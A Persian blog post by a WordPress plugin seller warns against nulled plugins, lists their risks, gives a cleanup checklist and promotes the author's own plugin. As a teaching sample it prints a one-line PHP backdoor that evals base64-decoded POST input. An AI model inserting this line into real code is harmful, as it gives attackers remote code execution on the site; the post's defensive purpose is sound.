اول صادقانه بگویم: من افزونهٔ وردپرسی میفروشم. یعنی دقیقاً همان کسی ام که انتظار دارید بگوید «افزونهٔ نال نگیرید». پس این مطلب را از زاویهٔ حقوق مؤلف نمینویسم — اصلاً وارد آن بحث نمیشوم. مینویسم از زاویه های که حتی به نفع من نیست و کمتر کسی صادقانه میگوید: در آن فایلِ رایگان، از نظر فنی چه خبر است و چه چیزی را با چه چیزی معامله میکنید. اگر تا امروز هم نال نصب کرده اید، آخر مطلب چک لیست پاکسازی هست.
نال (Nulled) یعنی نسخهٔ پولیِ یک افزونه که از منبعی غیررسمی برداشته شده، معمولاً سازوکار لایسنسش دور زده یا دستکاری شده و مجدداً توزیع میشود.
نکتهٔ مهم: وردپرس و افزونه هایش تحت مجوز GPL منتشر میشوند — یعنی حق مطالعهٔ کد، تغییر و حتی توزیع مجدد در چارچوب مجوز، از ابتدا به همه داده شده. پس «متن باز بودن» به معنای «فایل هر جا پیدا کردی بردار» نیست! مشکل افزونهٔ نال، برداشتنِ رایگانِ حقِ کسی نیست؛ مشکل این است که شما نمیدانید در مسیر بین سازنده تا آن فروشگاه، چه دستی روی فایل کشیده شده.
۱) درِ پشتی داخل فایل. شایع ترین سوءاستفاده: کد مخربی که به سرور خارجی وصل میشود، اطلاعات سایت را بیرون میفرستد، مدیر مخفی میسازد یا اسپم تزریق میکند. ظاهر افزونه سالم کار میکند — چون می خواهند متوجه نشوید. الگوی این کد معمولاً همین یک خط است (نمونهٔ آموزشی):
add_action('init', function(){ @eval(base64_decode($_POST['code'])); });
همین یک خط یعنی هرکس کلیدش را بداند، میتواند روی سرور شما هر کدی اجرا کند.
۲) بدون به روزرسانی، در برابر حفره های شناخته شده. حفرهٔ امنیتی که امروز عمومی شود، فردا تمام مهاجمان میدانند چه درِ بازِ رنگشده ای در سایت شماست — و نسخهٔ وصله شده فقط به کانال رسمی میرسد.
۳) پشتیبانی صفر. افزونه وسط فروشگاهِ در حالِ کار خراب شد؟ فروشندهٔ فایل نال نه پاسخی دارد نه مسئولیتی. تیکت به توسعه دهندهٔ اصلی؟ شما مشتری او نیستید. هزینهٔ چند ساعت از کار افتادن سایت، به مراتب بیشتر از قیمت افزونه است.
۴) فایل ناقص یا نسخهٔ اشتباه. خیلی از فایل های نال قدیمی، معیوب یا ناسازگارند؛ صفحات سفید و خطاهای عجیب — و شما هیچوقت نمی فهمید مشکل از خودِ افزونه است یا فایلِ دستکاری شده.
۵) ریسک اعتباری برای فریلنسرها. نصب نال روی سایت مشتری یعنی برداشتن مسئولیت امنیتیِ کاری که پولش را گرفته اید. روزی که آن سایت هک شود، هزینهٔ اعتباری اش با شماست.
ردیف سوم جدول را جدی بگیرید: برای خیلی از نیازها، افزونهٔ رایگانِ رسمی در مخزن وردپرس وجود دارد. قبل از هر خرید و هر «دانلود رایگان»، اول مخزن را چک کنید.
مخزن رسمی وردپرس: از پیشخوان، «افزونه ها ← افزودن» — فایلها بازبینی شده و به روزرسانی خودکار.
سایت خودِ سازنده: برای افزونه های پولی، فقط وبسایت رسمی توسعه دهنده.
سایت رسمی سازندهٔ ایرانی: با پشتیبانی فارسی و فاکتور رسمی.
هر منبع دیگری — از جمله کانال های تلگرامی «فروشگاه افزونه» و سایت های «دانلود رایگان» — خارج از این سه دسته است.
افزونهٔ مشکوک را Deactivate و بعد Delete کنید؛ از فایل منیجر هم مطمئن شوید پوشه اش رفته است.
اگر همان قابلیت را لازم دارید، نسخهٔ اصلی را از منبع رسمی نصب کنید.
«کاربرها» را چک کنید: مدیرِ ناشناس دارید؟ پاکش کنید. رمز همهٔ مدیران و رمز دیتابیس را عوض کنید.
یک افزونهٔ امنیتی معتبر (مثل Wordfence) نصب و اسکن بگیرید؛ فایل های هستهٔ وردپرس را هم Re-install کنید.
اگر فروشگاه بودید و در بازهٔ مشکوک تراکنشی ثبت شده، با بانک/درگاه بررسی کنید.
گفتم که افزونه میفروشم؛ حالا بگویم چطور با همین اصل کنار آمده ایم. نسخهٔ رایگان افزونهٔ ما — متن بان، دستیار نگارش و سئوی محتوای فارسی — در مخزن رسمی وردپرس منتشر شده است و از پیشخوان («افزونه ها ← افزودن ← جست وجوی Matnban») نصب میشود: فایلِ بازبینی شده توسط تیم وردپرس، به روزرسانی خودکار، بدون قفل و لایسنس. نسخهٔ کامل — اصلاح گروهی کل آرشیو، دستیار هوش مصنوعی و نامک هوشمند — فقط از سایت رسمی وب بان با پشتیبانی مستقیم سازنده.
نتیجهٔ عملی این مدل؟ نال کردنِ محصولی که نسخهٔ رایگانِ رسمی دارد، نه تنها خطرناک است — اصلاً منطقی نیست.
«رایگانِ» نال، قرض گرفتن امنیت سایت است؛ بازپرداختش هم نه با پول، بلکه با هک و از کار افتادن سایت انجام میشود. قانون نهایی: افزونه فقط از مخزن رسمی یا سایت سازنده — هر آدرس دیگری، هرچقدر هم رایگان، یک متغیر ناشناخته در قلب سایت شماست.
نسخهٔ کاملتر این مطلب به همراه راهنمای نیم فاصله، فهرست غلط های املایی رایج و ابزار رایگان اصلاح نگارش فارسی، در وبلاگ وب بان منتشر شده است.
شما تجربهٔ نال داشته اید؟ سایتتان مشکلی خورده یا سالم مانده؟ در دیدگاه ها بنویسید — تجربهٔ واقعی، از هر توصیه ای قویتر است.
